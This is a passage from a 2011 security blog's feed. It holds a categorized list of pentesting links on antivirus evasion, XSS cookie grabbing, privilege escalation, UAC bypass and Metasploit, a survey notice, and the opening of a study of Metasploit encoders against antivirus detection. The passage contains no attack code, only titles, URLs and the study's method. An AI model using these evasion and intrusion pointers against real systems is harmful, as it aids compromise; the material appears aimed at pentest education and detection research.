/&gt;&lt;span style="color: red; font-size: large;"&gt;Anti-Virus&lt;/span&gt;&lt;br /&gt;[Metasploit] Facts and myths about antivirus evasion with Metasploit - &lt;a href="http://schierlm.users.sourceforge.net/avevasion.html"&gt;http://schierlm.users.sourceforge.net/avevasion.html&lt;/a&gt;&lt;br /&gt;[Terms] Methods of bypassing Anti-Virus (AV) Detection - NetCat - &lt;a href="http://compsec.org/security/index.php/anti-virus/283-anti-virus-central-methods-of-bypassing-anti-virus-av-detection.html"&gt;http://compsec.org/security/index.php/anti-virus/283-anti-virus-central-methods-of-bypassing-anti-virus-av-detection.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Web Based Attacks&lt;/span&gt;&lt;br /&gt;[Burp]&amp;nbsp;Hacking Web Authentication – Part 1 -&amp;nbsp;&lt;a href="http://resources.infosecinstitute.com/authentication-hacking-pt1/"&gt;http://resources.infosecinstitute.com/authentication-hacking-pt1/&lt;/a&gt;&lt;br /&gt;[Guide] Liferay Portlet Shell - &lt;a href="http://www.insinuator.net/2011/12/liferay-portlet-shell/"&gt;http://www.insinuator.net/2011/12/liferay-portlet-shell/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;SQL Injection&lt;/span&gt;&lt;br /&gt;[Tip] Best damn quick tips for a total SQL injection newbie (period) - &lt;a href="http://unconciousmind.blogspot.com/2011/09/quick-tips-for-total-sql-injection.html"&gt;http://unconciousmind.blogspot.com/2011/09/quick-tips-for-total-sql-injection.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Clickjacking&lt;/span&gt;&lt;br /&gt;[Presentation] Clickjacking For Shells -&amp;nbsp;&lt;a href="http://www.morningstarsecurity.com/research/clickjacking-wordpress"&gt;http://www.morningstarsecurity.com/research/clickjacking-wordpress&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Privilege Escalation&lt;/span&gt;&lt;br /&gt;[Linux] Hacking Linux Part I: Privilege Escalation - &lt;a href="http://www.dankalia.com/tutor/01005/0100501004.htm"&gt;http://www.dankalia.com/tutor/01005/0100501004.htm&lt;/a&gt;&lt;br /&gt;[Windows] Windows 7 UAC whitelist - &lt;a href="http://www.pretentiousname.com/misc/win7_uac_whitelist2.html"&gt;http://www.pretentiousname.com/misc/win7_uac_whitelist2.html&lt;/a&gt;&lt;br /&gt;[Windows] Windows Privilege Escalation Part 1: Local Administrator Privileges - &lt;a href="http://www.netspi.com/blog/2009/10/05/windows-privilege-escalation-part-1-local-administrator-privileges/"&gt;http://www.netspi.com/blog/2009/10/05/windows-privilege-escalation-part-1-local-administrator-privileges/&lt;/a&gt;&lt;br /&gt;[TTY] Post-Exploitation Without A TTY - &lt;a href="http://pentestmonkey.net/blog/post-exploitation-without-a-tty"&gt;http://pentestmonkey.net/blog/post-exploitation-without-a-tty&lt;/a&gt;&lt;br /&gt;[UAC] Windows 7 UAC whitelist:Proof-of-concept source code - &lt;a href="http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html"&gt;http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html&lt;/a&gt;&lt;br /&gt;[UAC] Bypass Windows 7 x86/x64 UAC Fully Patched – Meterpreter Module - &lt;a href="http://www.secmaniac.com/blog/2011/01/01/bypass-windows-uac/"&gt;http://www.secmaniac.com/blog/2011/01/01/bypass-windows-uac/&lt;/a&gt;&lt;br /&gt;[Program]&amp;nbsp;windows-privesc-check -&amp;nbsp;&lt;a href="http://code.google.com/p/windows-privesc-check/"&gt;http://code.google.com/p/windows-privesc-check/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Local Security &lt;/span&gt;&lt;br /&gt;[Hashs] Recovering Hashes from Domain Controller - &lt;a href="http://www.hackfest.ca/?p=659"&gt;http://www.hackfest.ca/?p=659&lt;/a&gt;&lt;br /&gt;[Hashs] Get Domain Admins (GDA) - &lt;a href="https://github.com/nullbind/Other-Projects/tree/master/GDA"&gt;https://github.com/nullbind/Other-Projects/tree/master/GDA&lt;/a&gt;&lt;br /&gt;[Windows]&amp;nbsp;Step-by-step guide to installing TrueCrypt and encrypting Windows XP system partition -&amp;nbsp;&lt;a href="http://www.securitybeacon.com/?p=673"&gt;http://www.securitybeacon.com/?p=673&lt;/a&gt;&lt;br /&gt;[OSX]&amp;nbsp;Inside Mac OS X 10.7 Lion: File Vault full disk encryption and cloud key storage -&amp;nbsp;&lt;a href="http://www.appleinsider.com/articles/11/02/28/inside_mac_os_x_10_7_lion_file_vault_full_disk_encryption_and_cloud_key_storage/"&gt;http://www.appleinsider.com/articles/11/02/28/inside_mac_os_x_10_7_lion_file_vault_full_disk_encryption_and_cloud_key_storage/&lt;/a&gt;&lt;br /&gt;[Linux]&amp;nbsp;Home directory and full disk encryption in Ubuntu 11.04 -&amp;nbsp;&lt;a href="http://www.linuxbsdos.com/2011/05/09/home-directory-and-full-disk-encryption-in-ubuntu-11-04/"&gt;http://www.linuxbsdos.com/2011/05/09/home-directory-and-full-disk-encryption-in-ubuntu-11-04/&lt;/a&gt;&lt;br /&gt;[BackUp]&amp;nbsp;Unison File Synchronizer:Liberation through Data Replication -&amp;nbsp;&lt;a href="http://www.stanford.edu/%7Epgbovine/unison_guide.htm"&gt;http://www.stanford.edu/~pgbovine/unison_guide.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Metasploit&lt;/span&gt;&lt;br /&gt;[Guide] fxsst.dll persistence: the evil fax machine - &lt;a href="http://www.room362.com/blog/2011/6/27/fxsstdll-persistence-the-evil-fax-machine.html"&gt;http://www.room362.com/blog/2011/6/27/fxsstdll-persistence-the-evil-fax-machine.html&lt;/a&gt;&lt;br /&gt;[Guide] Bypassing DEP/ASLR in browser exploits with McAfee and Symantec - &lt;a href="http://www.scriptjunkie.us/2011/08/custom-payloads-in-metasploit-4/"&gt;http://www.scriptjunkie.us/2011/08/custom-payloads-in-metasploit-4/&lt;/a&gt;&lt;br /&gt;[Guides] Metasploit Unleashed - &lt;a href="http://www.offensive-security.com/metasploit-unleashed/Metasploit_Unleashed_Information_Security_Training"&gt;http://www.offensive-security.com/metasploit-unleashed/Metasploit_Unleashed_Information_Security_Training&lt;/a&gt;&lt;br /&gt;[Guides] Metasploit Megaprimer (Exploitation Basics And Need For Metasploit) Part 1 - &lt;a href="http://www.securitytube.net/video/1175"&gt;http://www.securitytube.net/video/1175&lt;/a&gt;&lt;br /&gt;[Downloads] Metasploit Password Modules - &lt;a href="http://securityxploded.com/metasploit-password-modules.php"&gt;http://securityxploded.com/metasploit-password-modules.php&lt;/a&gt;&lt;br /&gt;[Guide] Process Injection Outside of Metasploit - &lt;a href="http://carnal0wnage.attackresearch.com/2011/07/process-injection-outside-of-metasploit.html"&gt;http://carnal0wnage.attackresearch.com/2011/07/process-injection-outside-of-metasploit.html&lt;/a&gt;&lt;br /&gt;[Guide] Path of Least Resistance - &lt;a href="http://www.fishnetsecurity.com/blogs/?p=250"&gt;http://www.fishnetsecurity.com/blogs/?p=250&lt;/a&gt;&lt;br /&gt;[Plugin]&amp;nbsp;New Meterpreter Extension Released: MSFMap Beta -&amp;nbsp;&lt;a href="http://blog.securestate.com/post/2012/01/06/New-Meterpreter-Extension-Released-MSFMap-Beta.aspx"&gt;http://blog.securestate.com/post/2012/01/06/New-Meterpreter-Extension-Released-MSFMap-Beta.aspx&lt;/a&gt;&lt;br /&gt;[Tip] Metasploit and PTES -&amp;nbsp;&lt;a href="https://community.rapid7.com/community/solutions/metasploit/blog/2011/12/02/metasploit-and-ptes"&gt;https://community.rapid7.com/community/solutions/metasploit/blog/2011/12/02/metasploit-and-ptes&lt;/a&gt;&lt;br /&gt;[Tip]&amp;nbsp;Running MultiplePost Modules -&amp;nbsp;&lt;a href="http://www.darkoperator.com/blog/2011/12/16/running-multiplepost-modules.html"&gt;http://www.darkoperator.com/blog/2011/12/16/running-multiplepost-modules.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Default Generators&lt;/span&gt;&lt;br /&gt;[WEP] mac2wepkey - Huawei default WEP generator - &lt;a href="http://websec.ca/blog/view/mac2wepkey_huawei"&gt;http://websec.ca/blog/view/mac2wepkey_huawei&lt;/a&gt;&lt;br /&gt;[WEP] Generator: Attacking SKY default router password - &lt;a href="http://sec.jetlib.com/BackTrack_Linux_Forums/2011/01/12/Generator:_Attacking_SKY_default_router_password"&gt;http://sec.jetlib.com/BackTrack_Linux_Forums/2011/01/12/Generator:_Attacking_SKY_default_router_password&lt;/a&gt;&lt;br /&gt;[WEP]&amp;nbsp;Default key algorithm in Thomson and BT Home Hub routers -&amp;nbsp;&lt;a href="http://www.gnucitizen.org/blog/default-key-algorithm-in-thomson-and-bt-home-hub-routers/"&gt;http://www.gnucitizen.org/blog/default-key-algorithm-in-thomson-and-bt-home-hub-routers/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Statistics&lt;/span&gt;&lt;br /&gt;[Defacements] Zone-H - &lt;a href="http://www.zone-h.org/"&gt;http://www.zone-h.org&lt;/a&gt;&lt;br /&gt;[ExploitKits] CVE Exploit Kit list - &lt;a href="http://exploitkit.ex.ohost.de/CVE%20Exploit%20Kit%20List.htm"&gt;http://exploitkit.ex.ohost.de/CVE%20Exploit%20Kit%20List.htm&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ccssforum.org/malware-certificates.php?&amp;amp;pag=1f"&gt;http://www.ccssforum.org/malware-certificates.php?&amp;amp;pag=1f&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Detection &lt;/span&gt;&lt;br /&gt;[Web Shells] Analysis of compromised websites - hacked PHP scripts - &lt;a href="http://nakedsecurity.sophos.com/2011/10/19/analysis-of-compromised-web-sites-hacked-php-scripts/"&gt;http://nakedsecurity.sophos.com/2011/10/19/analysis-of-compromised-web-sites-hacked-php-scripts/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Cross Site Scripting (XSS)&lt;/span&gt;&lt;br /&gt;[Guide] vbSEO – From XSS to Reverse PHP Shell - &lt;a href="http://www.exploit-db.com/vbseo-from-xss-to-reverse-php-shell/"&gt;http://www.exploit-db.com/vbseo-from-xss-to-reverse-php-shell/&lt;/a&gt;&lt;br /&gt;[XSS] XSS Rays - &lt;a href="http://www.thespanner.co.uk/2009/03/25/xss-rays/"&gt;http://www.thespanner.co.uk/2009/03/25/xss-rays/&lt;/a&gt;&lt;br /&gt;[XSS] How I Almost Won Pwn2Own via XSS - &lt;a href="http://jon.oberheide.org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/"&gt;http://jon.oberheide.org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/&lt;/a&gt;&lt;br /&gt;[XSS] JS-less XSS Using HTML Injection to hijack accounts without JavaScript. - &lt;a href="http://skeletonscribe.blogspot.com/2011/05/js-less-xss.html"&gt;http://skeletonscribe.blogspot.com/2011/05/js-less-xss.html&lt;/a&gt;&lt;br /&gt;[XSS] XSS Illustrated (for masses) - &lt;a href="http://unconciousmind.blogspot.com/2011/09/xss-illustrated.html"&gt;http://unconciousmind.blogspot.com/2011/09/xss-illustrated.html&lt;/a&gt;&lt;br /&gt;[XSS]&amp;nbsp;Cookie Grabbing using XSS -&amp;nbsp;&lt;a href="http://www.pentester.co.in/2011/10/cookie-grabbing-using-xss.html"&gt;http://www.pentester.co.in/2011/10/cookie-grabbing-using-xss.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Media&lt;/span&gt;&lt;br /&gt;[Podcast] PaulDotCom - &lt;a href="http://pauldotcom.com/podcast/psw.xml"&gt;http://pauldotcom.com/podcast/psw.xml&lt;/a&gt;&lt;br /&gt;[Podcast] Social-Engineer - &lt;a href="http://socialengineer.podbean.com/feed/"&gt;http://socialengineer.podbean.com/feed/&lt;/a&gt;&lt;br /&gt;[Magazine] ClubHACK Magazine - &lt;a href="http://chmag.in/"&gt;http://chmag.in/&lt;/a&gt;&lt;br /&gt;[Magazine] The hacker News Magazine -&amp;nbsp;&lt;a href="http://thehackernews.com/p/magazine.html"&gt;http://thehackernews.com/p/magazine.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Blogs &amp;amp; RSS&lt;/span&gt;&lt;br /&gt;[RSS] SecManiac  - &lt;a href="http://www.secmaniac.com/"&gt;http://www.secmaniac.com&lt;/a&gt;&lt;br /&gt;[Guides] Carnal0wnage &amp;amp; Attack Research - &lt;a href="http://carnal0wnage.attackresearch.com/"&gt;http://carnal0wnage.attackresearch.com&lt;/a&gt;&lt;br /&gt;[RSS] Contagio - &lt;a href="http://contagiodump.blogspot.com/"&gt;http://contagiodump.blogspot.com&lt;/a&gt;&lt;br /&gt;[News] THN : The Hacker News - &lt;a href="http://thehackernews.com/"&gt;http://thehackernews.com&lt;/a&gt;&lt;br /&gt;[News] Packet Storm: Full Disclosure Information Security - &lt;a href="http://packetstormsecurity.org/"&gt;http://packetstormsecurity.org&lt;/a&gt;&lt;br /&gt;[Guides] pentestmonkey | Taking the monkey work out of pentesting - &lt;a href="http://pentestmonkey.net/"&gt;http://pentestmonkey.net&lt;/a&gt;&lt;br /&gt;[RSS] Darknet - The Darkside | Ethical Hacking, Penetration Testing &amp;amp; Computer Security - &lt;a href="http://www.darknet.org.uk/"&gt;http://www.darknet.org.uk&lt;/a&gt;&lt;br /&gt;[RSS] Irongeek - &lt;a href="http://www.irongeek.com/"&gt;http://www.irongeek.com&lt;/a&gt;&lt;br /&gt;[Metasploit] Room 363 - &lt;a href="http://www.room362.com/"&gt;http://www.room362.com&lt;/a&gt;&lt;br /&gt;[Guides] Question Defense: Technology Answers For Technology Questions - &lt;a href="http://www.question-defense.com/"&gt;http://www.question-defense.com/&lt;/a&gt;&lt;br /&gt;[Guides] stratmofo's blog - &lt;a href="http://securityjuggernaut.blogspot.com/"&gt;http://securityjuggernaut.blogspot.com&lt;/a&gt;&lt;br /&gt;[Guides] TheInterW3bs - &lt;a href="http://theinterw3bs.com/"&gt;http://theinterw3bs.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[Guides] consolecowboys - &lt;a href="http://console-cowboys.blogspot.com/"&gt;http://console-cowboys.blogspot.com&lt;/a&gt;&lt;br /&gt;[Guides] A day with Tape - &lt;a href="http://adaywithtape.blogspot.com/"&gt;http://adaywithtape.blogspot.com&lt;/a&gt;&lt;br /&gt;[Guides] Cybexin's Blog - Network Security Blog - &lt;a href="http://cybexin.blogspot.com/"&gt;http://cybexin.blogspot.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[RSS] BackTrack Linux - Penetration Testing Distribution - &lt;a href="http://www.backtrack-linux.org/feed/" target="_blank"&gt;http:&lt;wbr&gt;&lt;/wbr&gt;/&lt;wbr&gt;&lt;/wbr&gt;/www&lt;wbr&gt;&lt;/wbr&gt;.backtrack-linux&lt;wbr&gt;&lt;/wbr&gt;.org&lt;wbr&gt;&lt;/wbr&gt;/feed&lt;wbr&gt;&lt;/wbr&gt;/&lt;/a&gt;&lt;br /&gt;[RSS] Offensive Security - &lt;a href="http://www.offensive-security.com/blog/feed/"&gt;http://www.offensive-security.com/blog/feed/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[News] Title - &lt;a href="http://www.pentestit.com/"&gt;http://www.pentestit.com&lt;/a&gt;&lt;br /&gt;[RSS] Title - &lt;a href="http://michael-coates.blogspot.com/"&gt;http://michael-coates.blogspot.com&lt;/a&gt;&lt;br /&gt;[RSS] Title - &lt;a href="http://blog.0x0e.org/"&gt;http://blog.0x0e.org&lt;/a&gt;&lt;br /&gt;[RSS] Title - &lt;a href="http://0x80.org/blog"&gt;http://0x80.org/blog&lt;/a&gt;&lt;br /&gt;[RSS] Title - &lt;a href="http://archangelamael.shell.tor.hu/"&gt;http://archangelamael.shell.tor.hu&lt;/a&gt;&lt;br /&gt;[RSS] Title - &lt;a href="http://archangelamael.blogspot.com/"&gt;http://archangelamael.blogspot.com&lt;/a&gt;&lt;br /&gt;[RSS] Title - &lt;a href="http://www.coresec.org/"&gt;http://www.coresec.org&lt;/a&gt;&lt;br /&gt;[RSS] Title - &lt;a href="http://noobys-journey.blogspot.com/"&gt;http://noobys-journey.blogspot.com&lt;/a&gt;&lt;br /&gt;[RSS] Title - &lt;a href="http://www.get-root.com/"&gt;http://www.get-root.com&lt;/a&gt;&lt;br /&gt;[RSS] Title - &lt;a href="http://www.kislaybhardwaj.com/"&gt;http://www.kislaybhardwaj.com&lt;/a&gt;&lt;br /&gt;[RSS] Title - &lt;a href="https://community.rapid7.com/community/metasploit/blog"&gt;https://community.rapid7.com/community/metasploit/blog&lt;/a&gt;&lt;br /&gt;[RSS] Title - &lt;a href="http://mimetus.blogspot.com/"&gt;http://mimetus.blogspot.com&lt;/a&gt;&lt;br /&gt;[RSS] Title - &lt;a href="http://hashcrack.blogspot.com/"&gt;http://hashcrack.blogspot.com&lt;/a&gt;&lt;br /&gt;[RSS] Title - &lt;a href="https://rephraseit.wordpress.com/"&gt;https://rephraseit.wordpress.com&lt;/a&gt;&lt;br /&gt;[ExploitDB] Title - &lt;a href="http://www.exploit-db.com/"&gt;http://www.exploit-db.com&lt;/a&gt;&lt;br /&gt;[RSS] Title - &lt;a href="http://skidspot.blogspot.com/"&gt;http://skidspot.blogspot.com&lt;/a&gt;&lt;br /&gt;[RSS] Title - &lt;a href="http://grey-corner.blogspot.com/"&gt;http://grey-corner.blogspot.com&lt;/a&gt;&lt;br /&gt;[RSS] Title - &lt;a href="http://vishnuvalentino.com/"&gt;http://vishnuvalentino.com&lt;/a&gt;&lt;br /&gt;[RSS] Title - &lt;a href="http://ob-security.info/"&gt;http://ob-security.info&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;.... Not enough? Try twitter and/or IRC!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;404'd&lt;/span&gt;&lt;br /&gt;[WarGames] &lt;span style="color: red;"&gt;Title&lt;/span&gt; - &lt;a href="http://securityoverride.com/"&gt;http://securityoverride.com&lt;/a&gt;&lt;br /&gt;[WarGames] &lt;span style="color: red;"&gt;Title&lt;/span&gt; - &lt;a href="http://intruded.net/"&gt;http://intruded.net&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;~RSS~&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7536652305346692317-5993813463636030420?l=g0tmi1k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/5993813463636030420/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g0tmi1k.blogspot.com/2011/11/blog-guides-links.html#comment-form' title='17 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/5993813463636030420'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/5993813463636030420'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/2011/11/blog-guides-links.html' title='Blogs, Feeds, Guides &amp; Links'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><thr:total>17</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-8756938114201024419</id><published>2011-10-26T09:16:00.003+01:00</published><updated>2011-12-19T17:31:15.196Z</updated><title type='text'>Current Situation of Digital Security</title><content type='html'>I will release the results at a later date (along with project it was intended for!).&lt;br /&gt;As its for a current piece of university work, I don't wish to make it public until it has been marked.&lt;br /&gt;&lt;br /&gt;Direct link (If you would prefer a new window/tab): &lt;span style="color: red;"&gt;*Survey is now closed*&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #0c343d;"&gt;---Update: 2010-12-19&lt;/span&gt;&lt;br /&gt;Thanks to everyone who completed this! All 330 of you! =)&lt;br /&gt;As promised, I donated £33.30 ($50.06) to "&lt;a href="http://www.hackersforcharity.org/"&gt;Hackers For Charity&lt;/a&gt;".&lt;br /&gt;It's given me&amp;nbsp;plenty&amp;nbsp;to analyse and I will be releasing the results of it as soon as the&amp;nbsp;piece&amp;nbsp;of work has been graded.&lt;br /&gt;Thanks once again.&lt;div class="blogger-post-footer"&gt;~RSS~&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7536652305346692317-8756938114201024419?l=g0tmi1k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/8756938114201024419/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g0tmi1k.blogspot.com/2011/10/current-situation-of-digital-security.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/8756938114201024419'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/8756938114201024419'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/2011/10/current-situation-of-digital-security.html' title='Current Situation of Digital Security'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-6928316610344444704</id><published>2011-10-09T18:28:00.000+01:00</published><updated>2011-10-13T15:47:04.352+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Analysis'/><title type='text'>[Analysis] Encoding Files</title><content type='html'>&lt;span style="color: red;"&gt;Please note: If you're looking for methods on "how to bypass anti virus software" - this page isn't for you.&lt;/span&gt; Its more about:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;How do different encoders compare?&amp;nbsp;&lt;/li&gt;&lt;li&gt;Is there a relationship with increasing the encoded amount of time, does it get detected less? &lt;/li&gt;&lt;li&gt;By switching the payload, will this have a affect? &lt;/li&gt;&lt;li&gt;If a different template was used, would it still detected the same amount of times?&lt;/li&gt;&lt;li&gt;Does encoding make the file detected more than if it wasn't encoded at all?&lt;/li&gt;&lt;li&gt;Will the payload's operating system matter?&lt;/li&gt;&lt;li&gt;Which Anti Virus product was able to detect the most (and the least) amount?&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Brief&lt;/b&gt;&lt;br /&gt;The &lt;a href="http://metasploit.com/"&gt;metasploit framework&lt;/a&gt; was used to generate a various combination of executable programs which would grant remote access (a 'backdoor') to the machine.&lt;br /&gt;&lt;br /&gt;Upon the creation of each file, the output was uploaded to &lt;a href="http://www.virustotal.com/"&gt;virustotal&lt;/a&gt; which was scanned using multiple anti virus products to reveal if any vendor was able to detect the "malicious malware".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Method&lt;/b&gt;&lt;br /&gt;As metasploit customizes the output it creates, various settings were altered slightly each time upon creation, thus making each output unique slightly. In this experiment there were:&lt;br /&gt;&lt;blockquote&gt;27x Encoders &lt;i&gt;(Which algorithm to use)&lt;/i&gt;&lt;br /&gt;&amp;nbsp;5x Iterations &lt;i&gt;(How many times to encode)&lt;/i&gt; &lt;br /&gt;20x Payloads &lt;i&gt;(What function to execute)&lt;/i&gt;&lt;br /&gt;&amp;nbsp;5x Templates&lt;i&gt; (Which file to base the output around)&lt;/i&gt;&lt;/blockquote&gt;By looping through each of the above, each time modifying it once, the result produced 6750 unique files &lt;i&gt;(please note: its not the 'full' amount as some factors are OS dependant, example; you can't use a windows program for a Linux template).&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Each file was then uploaded to VirusTotal.com, which scans the file using 44 anti virus products &lt;i&gt;(Please note: The signatures used on virustotal are more 'sensitive' rather than the ones found publicly. Therefore they have a higher detection rate).&amp;nbsp; &lt;/i&gt;Virustotal.com services was used to save time as it automates the whole procedure and creates a report&lt;i&gt; &lt;/i&gt;rather than manually scanning each file ourselves with every vendor. &lt;br /&gt;&lt;br /&gt;VirusTotal.com has a public API feature, so to take advantage of this, a script (&lt;a href="http://g0tmi1k.blogspot.com/2011/10/script-bmmvtupy-batchmassmultiple.html"&gt;bmmvtu.py&lt;/a&gt;), was developed to automate this procedure, allowing for multiple files to scanned without any interaction.&lt;br /&gt;&lt;br /&gt;Below is a list of all the variables used:&lt;br /&gt;&lt;style&gt;&lt;!--table {mso-displayed-decimal-separator:"\."; mso-displayed-thousand-separator:"\,";}@page {margin:.75in .7in .75in .7in; mso-header-margin:.3in; mso-footer-margin:.3in;}td {padding-top:1px; padding-right:1px; padding-left:1px; mso-ignore:padding; color:black; font-size:11.0pt; font-weight:400; font-style:normal; text-decoration:none; font-family:Calibri, sans-serif; mso-font-charset:0; mso-number-format:General; text-align:general; vertical-align:bottom; border:none; mso-background-source:auto; mso-pattern:auto; mso-protection:locked visible; white-space:nowrap; mso-rotate:0;}.xl63 {font-weight:700;}.xl64 {text-align:left;}--&gt;&lt;/style&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; width: 1000px;"&gt; &lt;colgroup&gt;&lt;col style="mso-width-alt: 5376; mso-width-source: userset; width: 126pt;" width="126"&gt;&lt;/col&gt; &lt;col style="mso-width-alt: 5802; mso-width-source: userset; width: 136pt;" width="136"&gt;&lt;/col&gt; &lt;col style="mso-width-alt: 2986; mso-width-source: userset; width: 70pt;" width="70"&gt;&lt;/col&gt; &lt;col style="mso-width-alt: 10368; mso-width-source: userset; width: 243pt;" width="243"&gt;&lt;/col&gt; &lt;col style="mso-width-alt: 18133; mso-width-source: userset; width: 425pt;" width="425"&gt;&lt;/col&gt; &lt;/colgroup&gt;&lt;tbody&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td class="xl63" height="14" style="background: #4F81BD; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: white; font-family: Calibri; font-size: 11.0pt; font-weight: 700; height: 14.0pt; mso-pattern: #4F81BD none; text-decoration: none; text-line-through: none; text-underline-style: none; width: 126pt;" width="126"&gt;Anti Virus Products&lt;/td&gt;  &lt;td class="xl63" style="background: #4F81BD; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: white; font-family: Calibri; font-size: 11.0pt; font-weight: 700; mso-pattern: #4F81BD none; text-decoration: none; text-line-through: none; text-underline-style: none; width: 136pt;" width="136"&gt;Encoders&lt;/td&gt;  &lt;td class="xl63" style="background: #4F81BD; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: white; font-family: Calibri; font-size: 11.0pt; font-weight: 700; mso-pattern: #4F81BD none; text-decoration: none; text-line-through: none; text-underline-style: none; width: 70pt;" width="70"&gt;Iterations&lt;/td&gt;  &lt;td class="xl63" style="background: #4F81BD; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: white; font-family: Calibri; font-size: 11.0pt; font-weight: 700; mso-pattern: #4F81BD none; text-decoration: none; text-line-through: none; text-underline-style: none; width: 243pt;" width="243"&gt;Payloads&lt;/td&gt;  &lt;td class="xl63" style="background: #4F81BD; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: white; font-family: Calibri; font-size: 11.0pt; font-weight: 700; mso-pattern: #4F81BD none; text-decoration: none; text-line-through: none; text-underline-style: none; width: 425pt;" width="425"&gt;Templates (MD5)&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;AhnLab-V3&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;cmd/generic_sh&lt;/td&gt;  &lt;td class="xl64" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; 